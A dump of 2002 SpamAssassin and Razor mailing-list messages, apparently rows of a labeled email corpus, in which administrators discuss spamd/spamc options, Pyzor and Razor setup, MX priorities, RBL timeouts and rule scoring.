exist."" This would be in the hopes that some >> spammers out there actually remove names reported as non-existent from >> their lists. I know, a slim hope, but even if only a few do, it can >> lower the incidence. > > They don't, I can guarantee that. Quite a few spamtraps nowadays > operate by 5nn'ing for 6 months in the hope of getting legit mailers > to remove bouncing addrs from lists; then after 6 months, they just > spamtrap all incoming mail to those addrs. (unfortunately a lot of > legit mailers don't bother cleaning their lists either.) Most spammers don't check reply codes at all, they just send out as many mails as their system will hold without checking for any confirmation. A trick to lower spam reception was dicussed on the postfix mailing list some time ago: answer all incoming mail with a 4xx temporary error code when it is offered the first time, and accept it the second time. Apparently most mass-emailers don't even try to deliver a second time. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Paul Fries"" ",,"Thu, 12 Sep 2002 12:07:22 -0700",RE: [SAtalk] 2.41/2.50 spamd/spamc problem,"Heh. RTFM.. Sorry about that. Yep, that did the trick. Thanks for the help! Regards, Paul Fries paul@cwie.net -----Original Message----- From: spamassassin-talk-admin@example.sourceforge.net [mailto:spamassassin-talk-admin@lists.sourceforge.net] On Behalf Of Vince Puzzella Sent: Thursday, September 12, 2002 11:23 AM To: Paul Fries; spamassassin-talk@example.sourceforge.net Subject: RE: [SAtalk] 2.41/2.50 spamd/spamc problem defang_mime 0 -----Original Message----- From: Paul Fries [mailto:paul@cwie.net] Sent: Thursday, September 12, 2002 2:12 PM To: spamassassin-talk@example.sourceforge.net Subject: [SAtalk] 2.41/2.50 spamd/spamc problem I noticed that after upgrading to 2.41 (or 2.50) from 2.31, the -F option was removed from spamd. This is fine because all of the HTML format mail seems to arrive properly. However, messages that get tagged as Spam arrive as just html source. Is there any way around this? I would like all HTML/RTF messages to retain their formatting even if they are flagged as spam. I would accomplish this on 2.31 by using the ""-F 0"" flag when starting spamd. Thanks! Regards, Paul Fries paul@cwie.net CWIE LLC ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Nick Adams"" ",,"Fri, 13 Sep 2002 08:56:57 -0400",[SAtalk] Spamassassin with Pyzor,"This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C25B03.83C4FDB0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I installed Spamassassin 2.41 with Razor V2 the other day and it has = been working great. I decided to add Pyzor last night and I got that = installed successfully (I think, no errors). I am using spamd and I see = where it periodically spawns off a pyzor process; however nothing has = been detected as spam by Pyzor under Spamassassin. It has been running = for almost half a day now on a 5,000 user mail server - so to me the = odds of something being caught by it should be high. I run spamd as = follows: spamd -d -H and all my users home directories have a .pyzor directory with the = server listed under it. I setup a test procmail recipe that just invokes pyzor check and not = spamc to see if in fact pyzor alone catches any spam - I just set this = up so no results yet. Here is what I get when I check connectivity to = the pyzor server: pyzor -d ping sending: 'User: anonymous\nTime: 1031921041\nSig: = 161c547ac6248589910f97b1b5cd37e6dffc8eaf\n\nOp: ping\nThread: 14733\nPV: = 2.0\n\n' received: 'Thread: 14733\nCode: 200\nDiag: OK\nPV: 2.0\n\n' 167.206.208.233:24442 (200, 'OK') Any help/examples would be appreciated. Thanks! BTW, keep up the great = work Spamassassin team! Nick --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.386 / Virus Database: 218 - Release Date: 9/9/2002 ------=_NextPart_000_0009_01C25B03.83C4FDB0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I installed Spamassassin 2.41 with = Razor V2=20 the other day and it has been working great. I decided to add Pyzor last = night=20 and I got that installed successfully (I think, no errors). I am using = spamd and=20 I see where it periodically spawns off a pyzor process; however nothing = has been=20 detected as spam by Pyzor under Spamassassin. It has been running for = almost=20 half a day now on a 5,000 user mail server - so to me the odds of = something=20 being caught by it should be high. I run spamd as follows:   spamd -d -H   and all my users home directories have = a .pyzor=20 directory with the server listed under it.   I setup a test procmail recipe that = just invokes=20 pyzor check and not spamc to see if in fact pyzor alone catches any spam = -=20  I just set this up so no results yet. Here is what I get when I = check=20 connectivity to the pyzor server:    pyzor -d pingsending: 'User:=20 anonymous\nTime: 1031921041\nSig:=20 161c547ac6248589910f97b1b5cd37e6dffc8eaf\n\nOp: ping\nThread: 14733\nPV: = 2.0\n\n'received: 'Thread: 14733\nCode: 200\nDiag: OK\nPV:=20 2.0\n\n'167.206.208.233:24442   (200, 'OK')   Any help/examples would be appreciated. = Thanks!=20 BTW, keep up the great work Spamassassin team!   Nick   ---Outgoing mail is certified = Virus=20 Free.Checked by AVG anti-virus system (http://www.grisoft.com).Version: = 6.0.386 /=20 Virus Database: 218 - Release Date: 9/9/2002 ------=_NextPart_000_0009_01C25B03.83C4FDB0-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Theo Van Dinter ,spamassassin-talk@example.sourceforge.net,"Fri, 13 Sep 2002 10:02:53 -0400",Re: [SAtalk] Getting yourself removed from spam lists,"--7ZAtKRhVyVSsbBD2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Sep 13, 2002 at 03:21:08PM +0200, carlo@alinoe.com wrote: > So... it seems to me that they DO clean up > their lists, but only when a spam fails to > deliver - or can't they detect that? >=20 > What do spammers do with email addresses in > their database that are undeliverable for a > few years? Do they still continue to spam > them? Well, here's my semi-coherent rant for the moment. ;) I have >3100 spamtraps on my machine (you can multiply that by each domain if you really want to). The vast majority (all but, say, 10) have never ever existed. Yet, spammers would semi-continuously connect, try to deliver mail to 40 of them, disconnect, connect again, try delivering to 40 more... over and over, they kept getting ""User unknown"" until I got around to making them spamtraps. So my evidence would suggest that it depends who you're dealing with. :) If your ""business"" is to sell address lists to people who would then spam, it's in your best interest to never clean your list. Therefore you can say ""10 million email addresses"" and not technically be lying, even if the majority of them don't work. If you're a spammer, you'd want to know who doesn't actually exist, but then again you don't really care: you probably want to relay through someone so it's harder to trace you, if you could you'd send to every email address available, you don't want to setup a valid bounce address because again it's easy to trace you. So I would say this, if you technically spam people but actually think you're running a legit service, you probably really do have a way of opting out (even though the user didn't opt in) and you probably don't relay, and you probably pay attention to bounces. Everyone else doesn't really care. That's my view anyway. :) --=20 Randomly Generated Tagline: ""Now you can do that thing with your hands... It's ok."" - Prof. Farr --7ZAtKRhVyVSsbBD2 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9gfANAuOQUeWAs2MRAvNfAJ9oyV5MxrnHSKUu3yliMzc9hYcGFACeK11X NOiPnUCgVS0uzsTxM3iY8vs= =b/Y6 -----END PGP SIGNATURE----- --7ZAtKRhVyVSsbBD2-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Tony Hoyle ,"""'carlo@alinoe.com'"" ,","Fri, 13 Sep 2002 15:04:11 +0100",RE: [SAtalk] Getting yourself removed from spam lists,"> -----Original Message----- > From: carlo@alinoe.com [mailto:carlo@alinoe.com] > Sent: 13 September 2002 14:21 > To: spamassassin-talk@example.sourceforge.net > Subject: [SAtalk] Getting yourself removed from spam lists > > I get the feeling that the spammers never > remove emails from their lists. Correct... > On the other hand, that doesn't make sense: > wouldn't they get worried about their millions > of spams being wasted? Don't they WANT *some* > prove that they indeed *reach* people somehow? No, they only have to prove that they send several million emails to 'potential clients' to get their money. I don't think they even care much about bounces. They're con-artists, why should they care about proving they actually reached people? > So... it seems to me that they DO clean up > their lists, but only when a spam fails to > deliver - or can't they detect that? Most of the time the bounce goes to some poor soul who has nothing to do with the spammer. > What do spammers do with email addresses in > their database that are undeliverable for a > few years? Do they still continue to spam > them? Yes. Tony ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Tony L. Svanstrom"" ",carlo@alinoe.com,"Fri, 13 Sep 2002 16:15:38 +0200 (CEST)",Re: [SAtalk] Getting yourself removed from spam lists,"On Fri, 13 Sep 2002 the voices made carlo@alinoe.com write: > What do spammers do with email addresses in > their database that are undeliverable for a > few years? Do they still continue to spam > them? Yes. /Tony -- # Per scientiam ad libertatem! // Through knowledge towards freedom! # # Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # perl -e'print$_{$_} for sort%_=`lynx -dump svanstrom.com/t`' ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """vernon"" ","""spamassassin-talk"" ","Fri, 13 Sep 2002 13:33:43 -0500",[SAtalk] OT: DNS MX Record Clarification Please,"This may be a little off topic but thought people here would have a better response to this elsewhere. I have setup two MX records (mail and bmail) for my mail server. The one I gave a 10 (bmail) the other a 20 (mail). bmail(10) I gave a 10 because I want all mail to go through this server to be scanned for SPAM and viruses and then relayed to the mail(20) server for delivery. As I understand it, DNS A records are used in a rotating fashion for load balancing, but DNS MX records are used in order or prority, meaning the 10 before the 20 and only 20 if the 10 isn't available. But only some of the mail is actually being scanned which leads me to believe that not all of the mail is actually hitting that box and the 10 never goes down. Why? Have I got something confused here? Thanks, V ------- End of Forwarded Message ------- -- This message has been scanned for viruses and dangerous content by MailScanner at comp-wiz.com, and is believed to be clean. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Theo Van Dinter ,vernon@comp-wiz.com,"Fri, 13 Sep 2002 15:01:18 -0400",Re: [SAtalk] OT: DNS MX Record Clarification Please,"--Fnm8lRGFTVS/3GuM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Sep 13, 2002 at 01:33:43PM -0500, vernon wrote: > As I understand it, DNS A records are used in a rotating fashion for load > balancing, but DNS MX records are used in order or prority, meaning the 10 > before the 20 and only 20 if the 10 isn't available. That's the theory, yes. > But only some of the mail is actually being scanned which leads me to > believe that not all of the mail is actually hitting that box and the 10 > never goes down. Why? Have I got something confused here? No, but either due to some technical glitch, or downright just wanting to do so, people send to the secondary. It's a semi-usual spammer trick actually to bypass the main server and send directly to a secondary since it will either have less filtering, or be ""trusted"", or ... MX records in the mail world are all explained in RFC 2821, section 5: [...] Multiple MX records contain a preference indication that MUST be used in sorting (see below). Lower numbers are more preferred than higher ones. If there are multiple destinations with the same preference and there is no clear reason to favor one (e.g., by recognition of an easily-reached address), then the sender-SMTP MUST randomize them to spread the load across multiple mail exchangers for a specific organization. [...] If it determines that it should relay the message without rewriting the address, it MUST sort the MX records to determine candidates for delivery. The records are first ordered by preference, with the lowest-numbered records being most preferred. The relay host MUST then inspect the list for any of the names or addresses by which it might be known in mail transactions. If a matching record is found, all records at that preference level and higher-numbered ones MUST be discarded from consideration. If there are no records left at that point, it is an error condition, and the message MUST be returned as undeliverable. If records do remain, they SHOULD be tried, best preference first, as described above. --=20 Randomly Generated Tagline: ""Now let's say I like sheep... And now let's say I take the sheep to a=20 Christmas party..."" - Bob Golub --Fnm8lRGFTVS/3GuM Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9gjX9AuOQUeWAs2MRAg7PAJ42kO68knZx76oQbrZPMGdg/JbJHACfQvlX O/Utl8FY01aS+/e3VNE9WWM= =O6kU -----END PGP SIGNATURE----- --Fnm8lRGFTVS/3GuM-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Theo Van Dinter ,Jeremy Kusnetz ,"Fri, 13 Sep 2002 15:10:31 -0400",Re: [SAtalk] spamc -c problems on 2.41?,"--Hlh2aiwFLCZwGcpw Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Sep 12, 2002 at 01:47:27PM -0700, Jeremy Kusnetz wrote: > When running: > spamc -c < sample-spam.txt > I get: 18.9/6.0 Which looks correct, BUT > doing an echo $?, returns a 0 instead of 1. Can you submit this to bugzilla? It definately is a bug, I mean I do a packet trace and here's what I get with one of my spams: [the request] 0040 0b 8e 43 48 45 43 4b 20 53 50 41 4d 43 2f 31 2e ..CHECK SPAMC/1. 0050 32 0d 0a 55 73 65 72 3a 20 66 65 6c 69 63 69 74 2..User: felicit 0060 79 0d 0a 43 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 y..Content-lengt 0070 68 3a 20 38 33 34 39 0d 0a 0d 0a h: 8349.... [the spam, removed for brevity] [the response] 0040 0b 8f 53 50 41 4d 44 2f 31 2e 31 20 30 20 45 58 ..SPAMD/1.1 0 EX 0050 5f 4f 4b 0d 0a 53 70 61 6d 3a 20 46 61 6c 73 65 _OK..Spam: False 0060 20 3b 20 34 36 2e 35 20 2f 20 35 2e 30 0d 0a 0d ; 46.5 / 5.0... So spamd is definately returning false incorrectly. --=20 Randomly Generated Tagline: ?pu gnikcab yb naem uoy tahw siht sI --Hlh2aiwFLCZwGcpw Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9gjgnAuOQUeWAs2MRAgoCAKDJGoZwXy7vwZuQIRaFfYJ+haWtbQCg9T0V IW7ty+Y1BTybFpquY1ifZPc= =eL/8 -----END PGP SIGNATURE----- --Hlh2aiwFLCZwGcpw-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Jason Kohles ,vernon@comp-wiz.com,13 Sep 2002 15:27:38 -0400,Re: [SAtalk] OT: DNS MX Record Clarification Please,"On Fri, 2002-09-13 at 14:33, vernon wrote: > > But only some of the mail is actually being scanned which leads me to > believe that not all of the mail is actually hitting that box and the 10 > never goes down. Why? Have I got something confused here? > Sending mail directly to a backup mail server in the hopes that it has less stringent spam scanning is a common spammer trick. -- Jason Kohles jkohles@redhat.com Senior Engineer Red Hat Professional Consulting ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Theo Van Dinter ,Justin Mason ,"Sat, 14 Sep 2002 12:19:14 -0400",Re: [SAtalk] Still confused about spamd/c,"--Q68bSM7Ycu6FN28Q Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Sep 14, 2002 at 04:27:47PM +0100, Justin Mason wrote: > It's probably that razor needs to be ""razor-register""'d for each user. > Try creating a world-writable ""home dir"" for Razor and DCC et al to store > their files in; that way spamd will share the razor server info etc. > between all users. uh, no, you don't want to make it world-writable. world-readable. > Then use ""spamd -H /path/to/world/writeable/dir"" . Just remember that the .razor and whatever DCC uses needs to be world-readable as well. The solution is then to make a world-writable log file for at least Razor. I like symlinking /dev/null myself. > IMO this is more efficient than using ""spamd -H"", which will use each > user's own home dir for this data, but it's a matter of opinion ;) efficient? probably (depends on the user base), but it also takes the control away from the user (which may or may not be a good thing, depending again on the user base...) --=20 Randomly Generated Tagline: ""What's funny? I'd like to know. Send me some E-Mail."" - Prof. Farr --Q68bSM7Ycu6FN28Q Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9g2GBAuOQUeWAs2MRAlljAKC+83f/mNoINBjoxOWBaNk4NgWsVQCg3qzO v0EQ6XGB3ufLLudAUAADtYA= =l7M5 -----END PGP SIGNATURE----- --Q68bSM7Ycu6FN28Q-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """dhs"" ",spamassassin-devel@example.sourceforge.net,"Sun, 15 Sep 2002 10:07:42 -0500",[SAdev] spamc load balancing to multiple spamd,"I have searched the list but did not find any info on this. How do I setup multiple spamd machines so that spamc load balances - or anything similar? Duane. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Nix ,"""Tony L. Svanstrom"" ",15 Sep 2002 18:41:08 +0100,Re: [SAtalk] Getting yourself removed from spam lists,"On Fri, 13 Sep 2002, Tony L. Svanstrom mused: > On Fri, 13 Sep 2002 the voices made carlo@alinoe.com write: > >> What do spammers do with email addresses in >> their database that are undeliverable for a >> few years? Do they still continue to spam >> them? > > Yes. So much so that I get thousands of bounces per day on this machine aimed at what are plainly message-ids... -- `Let's have a round of applause for those daring young men and their flying spellcheckers.' --- Meg Worley ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Vernon Webb"" ","""spamassassin-talk"" ","Sun, 15 Sep 2002 14:18:05 -0500",[SAtalk] RBL timed oiut and Spam Assassin killed,"I'm getting these messages and I'm not sure what they mean. Can anyone clear this up for me? Thanks. Sep 15 11:45:09 linux mailscanner[6128]: RBL Check ORDB-RBL timed out and was killed, consecutive failure 3 of 7 Sep 15 11:45:24 linux mailscanner[6128]: SpamAssassin timed out and was killed -- This message has been scanned for viruses and dangerous content by MailScanner at comp-wiz.com, and is believed to be clean. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Tony L. Svanstrom"" ",Marc Perkel ,"Sun, 15 Sep 2002 22:31:36 +0200 (CEST)",Re: [SAdev] Suggestion - 2 levels of Spam Status,"On Sun, 15 Sep 2002 the voices made Marc Perkel write: > Right now we have one spam status flag indicating that a message is or > is not spam. The idea being that the end user perhaps make a rule that > would move the spam flagged messages into a spam folder and thus gain > some time by presorting messages into to piles. If you (people) don't know enough to filter on the actual score they've got the ""stars"", which will give them more than enough levers, if they want it. /Tony -- # Per scientiam ad libertatem! // Through knowledge towards freedom! # # Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # perl -e'print$_{$_} for sort%_=`lynx -dump svanstrom.com/t`' ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Gerry Doris ,Vernon Webb ,"Sun, 15 Sep 2002 16:36:15 -0400 (EDT)",Re: [SAtalk] RBL timed oiut and Spam Assassin killed,"On Sun, 15 Sep 2002, Vernon Webb wrote: > I'm getting these messages and I'm not sure what they mean. Can anyone clear > this up for me? Thanks. > > Sep 15 11:45:09 linux mailscanner[6128]: RBL Check ORDB-RBL timed out and > was killed, consecutive failure 3 of 7 > Sep 15 11:45:24 linux mailscanner[6128]: SpamAssassin timed out and was > killed Your running mailscanner and the timeout used got to check ORDB-RBL is too low and your timing out. mailscanner will count up to seven timeouts and then automatically disable these checks until it restarts itself (within 4 hours). -- Gerry ""The lyfe so short, the craft so long to learne"" Chaucer ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Marc Perkel ,"""Tony L. Svanstrom"" ","Sun, 15 Sep 2002 13:39:32 -0700",Re: [SAdev] Suggestion - 2 levels of Spam Status,"Tony L. Svanstrom wrote: >On Sun, 15 Sep 2002 the voices made Marc Perkel write: > >>Right now we have one spam status flag indicating that a message is or >>is not spam. The idea being that the end user perhaps make a rule that >>would move the spam flagged messages into a spam folder and thus gain >>some time by presorting messages into to piles. >> > > If you (people) don't know enough to filter on the actual score they've got >the ""stars"", which will give them more than enough levers, if they want it. > > > /Tony > Sure - we developers know that - but what I'm talking about is making it easier for END USERS to figure out. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 """Rose, Bobby"" ",",","Mon, 16 Sep 2002 13:13:06 -0400",[Razor-users] Performance,"Has anyone noticed a drop in razor-check performance over the past week? I disabled the razorchecks in Spamassassin and my queues start to clean out again. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chris ,spamassassin-talk@example.sourceforge.net,"Tue, 17 Sep 2002 09:20:14 -0700",[SAtalk] Running SA as a user app?,"Can anybody point me to a project/FAQ similar to this:? 1. Perl script fetches POP mail from a distant server 2. mail is fed to SA, running as a standalone module in my user account 3. SA spits out results back to perl script. 4. Script deletes offending mail. I don't have root access. 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Code: EX8664 http://www.developwithamd.com/developerlab _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Daniel Quinlan ,yyyy@spamassassin.taint.org (Justin Mason),14 Sep 2002 14:41:34 -0700,Re: [SAdev] testing with less rules,"jm@jmason.org (Justin Mason) writes: >>> DATE_IN_PAST_48_96 >>> SPAM_PHRASE_00_01 >>> SPAM_PHRASE_01_02 >>> SPAM_PHRASE_02_03 >>> SPAM_PHRASE_03_05 >>> SPAM_PHRASE_05_08 > I was thinking of just removing those particular rules, but keeping the > other entries in the range, since they're proving too ""noisy"" to be > effective. But I'd be willing to keep those ones in, all the same. What > do you think? Matt/Craig, thoughts? I think I could handle commenting out the lowest SPAM_PHRASE_XX_YY scores. If the GA could handle this sort of thing so they'd automatically be zeroed, I'd feel better since the ranges could change next time the phrase list is regenerated or the algorithm tweaked. I think we need to understand why DATE_IN_PAST_48_96 is so low before we remove it. The two rules on either side perform quite well. >> And here are the rules that seem like they should be better or should >> be recoverable: >>> FROM_MISSING >>> GAPPY_TEXT >>> INVALID_MSGID >>> MIME_NULL_BLOCK >>> SUBJ_MISSING > well, I don't like SUBJ_MISSING, I reckon there's a world of mails from > cron jobs (e.g.) which hit it. Okay, drop SUBJ_MISSING. > But, yes, the others for sure should be recoverable, and I'm sure there's > more. Probably a few, those seemed like the best prospects to me. > BTW do you agree with the proposed methodology (ie. remove the rules and > bugzilla each one?) I only want a bugzilla ticket for each one if people are okay with quick WONTFIX closes on the ones deemed unworthy of recovery. If you could put the stats for each rule in the ticket somehow (should be automatable with email at the very least), it would help. Dan",0,0 Daniel Quinlan ,yyyy@spamassassin.taint.org (Justin Mason),"Sun, 15 Sep 2002 21:55:47 -0700",Re: [SAdev] testing with less rules,"Justin Mason writes: > hmm. also I think I've found some cases where it's hitting on fetchmail > Received hdrs. that's bad. so it could be fixed.... fetchmail adds Received headers? That seems wrong. I'll open a bug to investigate. Can you attach some examples? > yeah, will do -- somehow. pity the bugzilla doesn't allow email > submissions... Agreed. At least you can add information with email. - Dan",0,0 Bart Schaefer ,Justin Mason ,"Mon, 16 Sep 2002 11:19:19 -0700 (PDT)",Re: [SAtalk] Can someone please tell me how to get an answer from,"On Mon, 16 Sep 2002, Justin Mason wrote: > Simon Matthews said: > > > Procmail 3.21 is reliable as long as none of the recipies fails. I was > > hoping to resolve the triplets.txt problem and thus avoid the procmail > > ""^rom"" problem. > > I doubt it's related, actually -- the ""triplets"" stuff is in a totally > unrelated area of code. The procmail bug happens when the filter program does something that procmail doesn't expect. Exactly what that something is, hasn't been confirmed by anyone on the procmail list. It might be exiting with a nonzero status, or it might be producing output on the standard error, or it might be something else entirely. So Simon is attempting to get SA to run flawlessly, because then it can't tickle the procmail bug. This isn't a fix, it's a band-aid, but because he apparently doesn't have the option of installing a newer procmail ...",0,0 Daniel Quinlan ,yyyy@spamassassin.taint.org (Justin Mason),17 Sep 2002 13:31:49 -0700,Re: [SAdev] Re: [SAtalk] SpamAssassin and unconfirmed.dsbl.org,"jm@jmason.org (Justin Mason) writes: > Folks who've been hacking on the DNSBLs: would it be worthwhile commenting > this in HEAD, seeing as it only gets .77 anyway? > > Sounds like the (a) broken server and (b) low hitrate combine to make it > not-so-useful IMO. No, in my opinion, it's purely a bug in SA (or the libraries we use, which is the same thing) that we don't handle outages of network services better. The rule is useful and it does help reduce spam, we should keep it. I have a feeling the DNSBL rules will cluster a bit more heavily around the 1.0 to 2.0 range once we start using the new GA on them. Also, 0.77 was a slightly conservative number. Since I didn't have real-time data, I typically used the lower or median number of different periods (most recent month, two months, six months), depending on the trend of the period data (better performance for recent messages -> favor recent scores, worse performance for recent messages -> favor lowest scores, never pick the highest number unless the rule was very accurate and the highest number was for the most recent data). Dan",0,0 yyyy@spamassassin.taint.org (Justin Mason),"""Gary Funck"" ","Wed, 18 Sep 2002 12:45:15 +0100",Re: [SAtalk] checking out Razor2 (and SA 2.41) install - Net::DNS:Resolver problem?,"Gary Funck said: > I thought the "">> /perllocal.pod"" line looked odd. Is it normal to write > documentation into the root directory? (). Is there some Make parameter, o > r > environment variable that should've been set when I ran ""make""? an issue for Razor folks I think. > It seems that by registering that I avoided the error path noted in my previo > us > e-mail where DNS::Net::Resolver was called, but does not exist in my Perl > hierarchy. Here's the new output from SA ans Razor2: looks good. > Question: if we use spamassassin on a per-user basis, invoked from procmailrc > , > will each user have to run ""razor-admin -register"" first? Is there way to > register with Razor just once per system? If you use spamd with the -H option and provide a shared directory for the razor config files to be written to. RTFM for more details... --j.",0,0 yyyy@spamassassin.taint.org (Justin Mason),Matt Kettler ,"Wed, 18 Sep 2002 12:57:49 +0100",Re: [SAdev] phew!,"Matt Kettler said: > Ok, first, the important stuff. Happy birthday Justin (a lil late, but > oh well) cheers! > a 13% miss ratio on the spam corpus at 5.0 seems awfully high, although > that nice low FP percentage is quite nice, as is the narrow-in of average > FP/FN scores compared to 2.40. As Dan said -- it's a hard corpus, made harder without the spamtrap data. Also -- and this is an important point -- those measurements can't be directly compared, because I changed the methodology. In 2.40 the scores were evolved on the entire corpus, then evaluated using that corpus; ie. there was no ""blind"" testing, and the scores could overfit and still provide good statistics. In 2.42, they're evaluated ""blind"", on a totally unseen set of messages, so those figures would be a lot more accurate for real-world use. --j.",0,0 """Ray Gardener"" ",,"Wed, 18 Sep 2002 12:44:14 +0100",[SAtalk] spamc and DCC,"This is a multi-part message in MIME format. ------=_NextPart_000_0056_01C25F11.18554780 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi -=20 I upgraded to 2.40 (now 2.41) last week and the messages which are = definitely in the DCC database aren't being marked as such by = spamassassin when connected to via spamc. Interestingly it is detected = when running spamassassin -t < sample-spam.txt (using the same userid = incidentally). Is this a known ""feature"" of spamc under 2.4x or is there = anything obvious that I am not implementing correctly? Note that as I = implied above this used to work under 2.3x of spamassassin and = spamd/spamc Regards Ray Gardener Sheffield Hallam University UK ------=_NextPart_000_0056_01C25F11.18554780 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi -   I upgraded to 2.40 (now 2.41) last = week and=20 the messages which are definitely in the DCC database aren't being = marked=20 as such by spamassassin when connected to via spamc. 